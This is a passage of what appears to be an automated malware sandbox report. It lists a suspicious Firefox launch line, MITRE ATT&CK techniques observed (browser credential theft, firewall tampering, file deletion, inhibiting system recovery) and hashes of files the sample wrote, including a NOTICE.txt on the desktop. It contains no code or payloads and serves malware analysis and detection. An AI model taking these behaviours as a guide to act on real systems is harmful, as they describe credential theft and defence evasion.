    "C:\Program Files\Mozilla Firefox\firefox.exe" -osint -url "C:\Program Files\Mozilla Firefox\private_browsing.exe"
    3⤵
    - Checks processor information in registry
    PID:4968

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Defense Evasion

Direct Volume Access

T1006

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

remote-settings-startup-bundle-

Path C:\Users\Admin\AppData\Local\Temp\remote-settings-startup-bundle-
Size 558KB
SHA256 b254bfabd96d4ef4477d89f41c540592a68c4db482545199884421d039244f65
MD5 35fcd5cbaed785c6db2af09ff4d31805
SHA1 d515793ea9a978d131d4f14c7debbc90265d3f34
SHA512 3b12541e9929cc18a2f7998c4527e255957bf4d82efb1d5ca61285518d506bd6fb65b558719e4715762ba01b6490d9cb4a48570981799def04808902779c9c7a
SSDEEP 12288:wVqYqz2xlbqFEIyvQQuI3bgMBFQsdVVscN+6ws11XbEn1JaiaW4nebVP:w8YqCnGEIyvjuI30Ms0fvN+jsnbSzmjU
TLSH
T1ABC4F1F9F7A13CB7A7BE030B9D966EAE0B524122C74FA0CC447B57C2455372AAF69404
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

desktop.ini

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\desktop.ini
Size 174B
SHA256 768b6fde6149d9ebbed1e339a72e8cc8c535e5c61d7c82752f7dff50923b7aed
MD5 17d5d0735deaa1fb4b41a7c406763c0a
SHA1 584e4be752bb0f1f01e1088000fdb80f88c6cae0
SHA512 a521e578903f33f9f4c3ebb51b6baa52c69435cb1f9cb2ce9db315a23d53345de4a75668096b14af83a867abc79e0afa1b12f719294ebba94da6ad1effc8b0a3
TLSH
T19FC08C2CD2E932204172CD32BCB4A002DBB1F8212C1BCF9E06C0918B08A1E09FB32B43
MD5 SHA1 SHA512 TLSH

Submit Download

desktop.ini

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini
Size 174B
SHA256 8e00a24ae458effe00a55344f7f34189b4594613284745ff7d406856a196c531
MD5 a2d31a04bc38eeac22fca3e30508ba47
SHA1 9b7c7a42c831fcd77e77ade6d3d6f033f76893d2
SHA512 ed8233d515d44f79431bb61a4df7d09f44d33ac09279d4a0028d11319d1f82fc923ebbc6c2d76ca6f48c0a90b6080aa2ea91ff043690cc1e3a15576cf62a39a6
TLSH
T1A6C08028D2E9311041718D32BC749002DBB1F4213C17CF5E16C0518F04A0605E732743
MD5 SHA1 SHA512 TLSH

Submit Download

InstallTime20250130195129

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\InstallTime20250130195129
Size 10B
SHA256 5b6f4bdde5898a9b64fb49e4f30113fb7768ae41427fd2f752c48dbc41c5e67d
MD5 182f5874cfb137aa49919ddbc0d22a76
SHA1 99b1704f7dbc2d9f429b3ae9709dfad3fc4b5ffc
SHA512 17e9536b9f64db2309e8f3a2e0c9e34df5a2aa3a597828f0b39d8d1b102903af059c1786bad8e236fdf3c072b4e7577e644d658cc1b63425e8b5b1793bf79277
MD5 SHA1 SHA512

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\b1o34qz1.default-release\prefs.js
Size 1KB
SHA256 6d439fafed5216a68e0e8612cc87cdbd584a42bbd7a8f282d71ff5cc22156f7a
MD5 8a6c6500422d88057b145d5087f10877
SHA1 6a96db61535a0d4df8836f59a121ba4aae7f606d
SHA512 18984173a167e5b8e82b5b24f0b686649b11f39706847b7e0ee20b4197c7782093751dfe66b3eedc9a6ea5820a3d8ca96e4963ec5b15c97a9bd4b81b1b85db2c
TLSH
T1A331DEA619468F6FF1B4767CFC154551DAB30137B67F6C8220B890858518F3402F6AEB
MD5 SHA1 SHA512 TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\b1o34qz1.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 384KB
SHA256 0d5a5d0fd1791d161188c1005212eff64d3a97227207d27c5337571c863b78dd
MD5 9dbaa35feab7ec936204c4ec93c7cee2
SHA1 9f2e11fbdd19938ae2902899a831774d11fa0481
SHA512 7530c78a4158dd44a3a538d8783bc2254a24734acfc0caa6ae2b3c450102525c49b7eb3d404d0642af822ad197578944e8c959801d1869736a421978d71a674a
SSDEEP 6144:gaY3p6x32+eHPcHs3y3Ap4Sq2tbTtR5IpUxE6uaciey:0/6ie
TLSH
T1F684E9A53064C153C322D8379B5DB3B7243FE29894E7E78893702748396EA0FAADD355
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\b1o34qz1.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 48KB
SHA256 1f9acfc8b01dac0dc3d5cae671118a6dddf45efee65ce1d8163f5abd4c2c612e
MD5 6e0217482b5f59eed830acd961c795fd
SHA1 aa4637f5f6e3960241035b15d6f264e31618da9b
SHA512 bf9dea482d749b758a286a88ece9fc8c9058c9c9c5cc990786c3bf3696e8430fc44b0960315e9140e35ddb3251b2cf46626e944285e28216c273063e5cd36cad
SSDEEP 96:Oa16S6CKnqlizbxV+2xVeU7X2B0xZMNXCL23Cfi2f6E2A/2g42cRCH2ZC0H7mh9:Oa16S6CdFAWQyh44CfiaR/skL0H7
TLSH
T1E523348D3A33AD50CB69F0B8639145AA584FB1DD0030278965D9DF8C842B1ABED1FBF5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

profiles.ini

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\profiles.ini
Size 305B
SHA256 18f12a5777fefbd8ad71ed7c5e3ee08009f0c94188f95cde947fd575d6d26c24
MD5 fa73374faa86732c9e516b3b7bc03895
SHA1 3110ed069515b2f31ad4c33877b00b7c23baf8db
SHA512 72afe778aab073879715b7dec9c30b75f8dd007c7f79cf1211e6a6349620c77261a49a413d8c8b5dd3afef2dddd075d120258d778488c08a6a855b78755acd78
TLSH
T165E01202374EE43F75357FBA312506B3B181EC5E2213B119E7C5571E3713A2B91CA264
MD5 SHA1 SHA512 TLSH

Submit Download

NOTICE.txt

Path C:\Users\Public\Desktop\NOTICE.txt
Size 84B
SHA256 cc3ab5e396a7004b96d28b691949d15d277e0ebe24919381bc93a93e9c328aff
MD5 fea7f45079049cbe7fd5d9c2ec350460
SHA1 aece1e0f99a42884c9324c5b0fa1c5014b0542fd
SHA512 fcb3f26019a2a2c1627b0ff76586fc0e0bd0b562fc99b6afde760945c9d5398e16797f7515049bb961a0b24ee91ba29472d593c49de024807cbfa2c6e6006c73
TLSH
T169A012740016704A00070A0F13242471244410B9812C85B62E0003D841444661DC5510
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3600-204-0x000001A242AB0000-0x000001A242B44000-memory.dmp

Download